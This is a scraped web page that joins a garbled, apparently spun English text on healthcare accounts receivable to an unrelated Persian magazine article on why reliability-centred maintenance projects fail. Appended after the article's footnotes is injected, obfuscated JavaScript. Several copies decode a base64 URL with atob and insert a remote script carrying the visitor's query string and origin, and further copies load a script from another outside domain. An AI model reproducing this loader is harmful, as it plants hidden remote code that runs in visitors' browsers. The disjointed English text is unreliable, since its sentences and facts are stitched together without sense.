How AI Can Optimize Accounts Receivable Management

accounts receivable management in healthcare

Collaborating with professional billing consultants or joining group purchasing organizations (GPOs) may also provide leverage in negotiations. Consider outsourcing billing functions to third-party vendors or billing companies to alleviate staffing shortages and ensure timely claim processing, like Transcure. They have 1100+ qualified billers and coders to meet the needs of both small and large practices. Investing in ongoing staff training and education on regulatory changes, as well as implementing robust compliance management systems, can help ensure adherence to industry standards. Additionally, partnering with experienced billing and coding vendors who stay updated on regulatory changes can provide added assurance of compliance. Accounts receivable management plays a critical role in maintaining the cash flow of your practice and building a financially thriving and strong practice.

accounts receivable management in healthcare

Why Charge Capture is Critical for Hospital AR

accounts receivable management in healthcare

With unique challenges such as insurance involvement and high deductibles, healthcare organizations must implement strategic practices to mitigate risks and maximize revenue. Account Receivable refers accounts receivable in healthcare to the cost of a particular service provided for a patient by any medical coding services or provider billed during medical billing. A strong account receivable (AR) process is critical for organizations in every sector, including healthcare.

  • Negotiating favorable reimbursement rates with insurance companies can be challenging for healthcare providers, especially smaller practices with limited bargaining power.
  • This comprehensive guide aims to navigate the intricate maze of AR, showcasing its pivotal role in healthcare, and illustrating how adept management can catalyze a significant transformation in the industry.
  • Clearly communicate payment policies during the patient registration process and provide flexible payment plans for convenience.
  • Powerful AR automation tools include complex data extraction features that enable medical companies to work with complicated Explanation of Benefit (EOB) forms.

How should healthcare teams monitor AR performance effectively?

Nick has managed billing & coding departments overseeing all functions & responsibilities including developing programs to optimize healthcare center’s RCM functions to improve overall financial performance. Nick has worked with Hospitals, Provider Groups, FQHCs, and Surgery Centers of all specialty types and sizes to ensure performance KPIs are achieved and maintained to meet monthly & annual goals. Nick effectively communicates with C-level executives and Revenue Cycle Directors to achieve both short-term and long-term objectives to meet the needs of AnnexMed’s clients. Inadequate billing staff with insufficient training can be disastrous for the revenue Statement of Comprehensive Income cycle of a health organization. Implement standardized protocols for collecting and verifying patient information during registration or intake processes, including insurance verification and demographic updates. Leverage EHR systems to capture and store patient information accurately, reducing the likelihood of data entry errors and ensuring consistency across documentation.

  • It defines the unreceived but recognized revenue and is recorded as a current asset in the statement of financial position.
  • Finally, the organization should be prepared to clarify whether the assistance being sought is a one-time, periodic or ongoing transaction.
  • This transparency enhances patient satisfaction and trust in the healthcare provider.
  • First, providers must submit accurate bills to insurance companies and patients.

The Growing Challenge of Claim Denials and Delayed Reimbursement on Healthcare Providers

Our effective denial prevention strategy and dedicated denials team can help your organization increase payment recovery. This is done by identifying the root cause of denials, reworking the denials, writing appeals if necessary and CARES Act resubmitting claims. Insurance companies often take weeks or even months to process claims, creating cash flow gaps that can strain healthcare organizations’ budgets. Delayed reimbursements can severely impact financial planning and operational continuity.

  • One of the most difficult challenges for any healthcare organization is keeping a stable cash flow.
  • Audit is crucial to detect potential risks and problems in the Revenue Cycle Management.
  • Serdeen’s dynamic leadership, coupled with his diverse experience and personal interests, makes him a valuable asset both within and outside the corporate arena.
  • Streamlined efficiency in accounts receivable management is pivotal for the financial health of medical billing operations.
  • His commitment to precision and a client-centric approach ensures that every account is managed efficiently, delivering positive outcomes for both the organization and its partners.
  • This practice not only improves cash flow but also minimizes the risk of unpaid balances and bad debts.

A report from the Ponemon Institute estimates healthcare organizations average $3.7 million in lost revenue per data breach, but a report from Accenture estimates the cost could be as high as $113 million. According to Kristina B. Ziehler, MPH, is assistant director, data solutions, for the Medical Group Management Association (MGMA). Kristina says “Let’s start with the percentage of accounts receivable (A/R) in each aging category. When reviewing this particular benchmark, your company wants the majority to be in the days in A/R category. When benchmarking days in A/R, you want to compare yourself to the mean (or average). Based on this, your billing office would want to look at ways to improve their 0-30 days in A/R benchmark since it is lower than the MGMA benchmark.

accounts receivable management in healthcare

شماره هقتم مجله اطمینان

چگونه در صنایع کشور با موفقیت نگهداری و تعمیرات مبتنی بر قابلیت اطمینان (RCM) پیاده‌سازی نماییم؟

چکیده

در این مقاله پس از مرور کوتاهی بر نت مبتنی بر قابلیت اطمینان، عوامل مهم تاثیر‌گذار در شکست پیاده‌سازی این متد در صنایع جهان، بررسی شده است. این عوامل در واقع مسائلی است که باید سازمانی که قصد پیاده‌سازی نگهداری و تعمیرات مبتنی بر قابلیت اطمینان دارد،  بر رفع آنها تمرکز کند تا از اتلاف هزینه­های بالای انجام تحلیل جلوگیری نماید. لذا در پایان متدولوژی حل مساله برای مواجهه با فاکتورهای شکست تشریح شده است.

۱٫       نگهداری و تعمیرات مبتنی بر قابلیت اطمینان (RCM)

نگهداری و تعمیرات مبتنی بر قابلیت اطمینان (RCM) فرآیندی است که طی آن فعالیت­های نگهداشت یک تجهیز در شرایط عملیاتی­اش مشخص می­گردد. RCM ابتدا در صنعت هوایی ایجاد شد، در اواسط دهه ۱۹۸۰ میلادی به صنعت هسته­ای راه پیدا کرد و سپس در همه صنایع گشترش یافت. وجود مزایای زیاد پیاده‌سازی RCM باعث شد اقبال به RCM در سازمان­ها بالا باشد و به عنوان یک روش برتر غالب در صنایع مورد اقبال قرار یرد. ه وریکه طبق یافته­های نظر سنجی انجام شده از سازمان­های مختلف در سراسر دنیا (۷۴۹ پاسخ داده شده به نظر سنجی)، بیش از ۷۰ درصد سازمان­ها یا RCM انجام داده­اند یا برای انجام RCM در حال برنامه‌ریزی هستند و لذا فقط کمتر از یک سوم سازمان‌ها تا کنون برنامه­ای برای پیاده سازی و اجرای RCM ندارند. (شکل ۱)33333333

 

با این وجود بر اساس تحقیقات انجام‌ شده تخمین زده می­شود بیش از ۸۵ درصد آنالیزهای RCM انجام‌شده توسط شرکت­ها هرگز به مرحله اجرا نرسیده‌اند، که می­توان به عنوان به شکست تعبیر نمود، این آمار نشان می­دهد احتمال پیاده سازی موفق RCM بسیار پایین است. [۱]

لذا لازم است برای افزایش احتمال موفقیت، عوامل زمینه‌ساز شکست شناسایی و به روش کارآمد مدیریت گردد. بدین جهت در این مقاله به بررسی عوامل و نحوه مدیریت آنها در راستای افزایش احتمال موفقیت و اجرایی شدن نتایج تحلیل RCM پرداخته شده است. اولین نکته در مدیریت عوامل کلیدی شکست، درک این موضوع است، که با توجه به شرایط هر سازمان باید برای پیاده سازی موفق RCM برنامه‌ریزی صورت پذیرد، و یک راه حل واحد پاسخگوی شرایط متنوع سازمان­های مختلف نیست.

۲٫    عوامل شکست پروژه­های  RCM

اجرای یک پروژه زمانی موفق است که موانع آن به طور کارآمدی رفع گردد. برای رفع مانع لازم است دقت شود که طرح و شناسایی موانع ه نهایی باعث فع مشکل نمی­شود و از سوی دیگر پرداختن به همه موانع و یافتن راهکار برای آنها، می­تواند هزینه­های زیادی را به سازمان تحمیل کند، در حالیکه اغلب عوامل تاثیر چندانی بر روند پروژه ندارند. لذا سازمان باید برای هر پروژه، عوامل کلیدی شکست (CFF) را شناسایی کند. یک روش اثر بخش برای شناسایی  CFF ها، الگوبرداری از سازمان­های دیگر است. در این روش ابتدا کلیه عوامل شکست را استخراج و سپس عواملی که با توجه به شرایط سازمان، اثرگذاری بیشتری دارند، شناسایی می­شود. همان طور که در بخش اول اشاره شد، نرخ موفقیت در پروژه­های RCM بسیار پایین است. طبق نظر سنجی صورت گرفته شده، دلایل و عواملی که منجر به توقف و عدم اجرا کامل RCM شده است، از میان ۶۰۱ پاسخ دهنده، به صورت جدول ۱ می­باشد:

عامل شکست درصد
پیچیدگی زیاد تحلیل RCM ۱۱٫۴۸
عدم حمایت و پشتیبانی (یا پشتیبانی اندک) مدیریت ۲۰٫۱۳
کمبود شدید نیروی انسانی برای حمایت از تحلیل RCM ۲۱٫۴۶
عدم پشتیبانی از تغییر وضعیت نگهداشت ۱۲٫۳۱
اتمام منابع مالی برای پیاده‌سازی RCM ۸٫۴۹
سایر…. ۱۷٫۴۷

جدول ۱- عوامل شکست پروژه­های RCM

علاوه بر عوامل لیست شده در جدول۱، عوامل دیگری نظیر فشار جهت تسریع در انجام آنالیز RCM، مشاوره و تسهیلگری ناکارآمد، عدم آموزش کافی و کارآمد تیم آنالیز RCM، عدم بهره‌گیری از تیم جامع شامل بهره­برداری، نت و مهندسی، توجه بیش از حد به سوابق خرابی­ها،  بومی سازی غل رآیند آنالیز RCM از جمله فاکتورهای تاثیرگذار در شکست RCM هستند.

 

 

۳٫    متدولوژی حل مساله

با وجود اینکه پیاده سازی و اجرای RCM مزایای بالقوه بسیاری برای سازمان­ها دارد، تعداد از سازمان­هایی که موفق به بهره­براری مناسب از این مزایا شده اند، اندک است. لذا جهت موفقیت و غلبه بر عوامل شکست، تعریف اصولی، دقیق و شفاف مساله در قدم اول ضروری است. در یک طبقه­بندی کلی، مساله به ۳ دسته سوال[۲]، مشکل[۳] و مشکل پیچیده[۴]  تقسیم بندی می­شود؛ که در این دسته‌بندی فقط بخش اول قابل رفع است که برای حل مشکل ابتدا باید بتوان آن را با توجه به اهداف و استراتژی­های سازمان، تبدیل به یک سوال کرد. یکی از خطاهای رایج در مدیریت مسائل سازمانی در همبن مرحله رخ می­دهد؛ عدم تبدیل مشکل به سوال. چرا یک مشکل واحد می­تواند با توجه به شرایط سازمانی، تبدیل به سوال­های کاملا متفاوت و در نتیجه منجر به رویکردهای مختلف گردد. همچنین با توجه به منابع و توانمندی­های هر سازمان، روش مدیریت مساله نیز متفاوت می­گردد. به عنوان مثال گزاره ” تیم الف پیاده سازی RCM، بی انگیزه هستند.شناسایی یک مشکل است و سوال مربوط به این مشکل، با توجه به شرایط و برنامه استراتژیک سازمان، می­تواند هر یک از موارد زیر باشد:

  • چگونه افراد بی‌انگیزه تیم الف را اخراج نماییم؟
  • چگونه مانع توسعه بی‌انگیزگی به سایر تیم­ها شویم؟
  • چگونه به افراد تیم الف انگیزه بدهیم؟

به طور خلاصه می­توان گفت، پس از شناسایی عوامل کلیدی شکست (CFF) در پروژه RCM، قدم بعدی، تبدیل CFF ها به سوال واضحی است که بتوان روش کارآمد برای مدیریت آن فاکتور شکست یافت. مشخصا یافتن سوال مناسب، گام مهمی در افزایش احتمال پیاده سازی موفق RCM است.

۴٫  نتیجه گیری

بی­تردید سازمان­ها با هدف کاهش هزینه­ها به نگهداری و تعمیرات مبتنی بر قابلیت اطمینان رو می­آورند، اما سازمان­های کمی توانسته­اند، در دستیابی به این هدف موفق باشند و نتیجه پیاده‌سازی نگهداری و تعمیرات مبتنی بر قابلیت اطمینان برای اکثر سازمان­ها چیزی جز اتلاف منابع نبوده است. لذا ضروری است هر سازمان به فراخور شرایط خود، عواملی که می­تواند منجر به شکست در این پروژه می­شود را شناسایی کند، و سپس می­تواند با تبدیل هر عامل شکست به سوالات، راهکار مدیریت آن را یافته و به صورت پیش اقدام مانع از بروز مشکل در روند پیاده‌سازی شود.

منابع

  1. پرفسور نجاتی گیلانی، جزوه “آموزش مشاوره درون سازمانی”، ۱۳۹۴.
  2. Com, RCM Benchmarking Report، ۲۰۱۵٫

[۱]  مصاحبه نگارنده با تعدادی از مشاورین پیاده سازی RCM در ایران حاکی از آن است که نرخ شکست پروژه­های انجام شده در ایران بیش از ۹۵ درصد است.

[۲] Puzzle

[۳] Problem

[۴] Wicked Problem(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);

تبریک سال 1396 از طرف مجله اطمینان

تبریک سال ۱۳۹۶ از طرف مجله اطمینان و تقویم صنعتی مجله اطمینان

اختتامیه همابش مدیران فنی و نگهدار ی و تعمیرات آریانا

گزارش تصویری یازدهمین همایش مدیران فنی و نگهداری و تعمیرات (۲ و ۳ آبان ۱۳۹۵)

بروز آوری سایت مجله

دوستان و همراهان گرامی
سایت مجله اطمینان در حال بروزآوری توسط تیم پشتیبانی است، لطفا صبور باشید و منتظر خبرهای خوب باشید.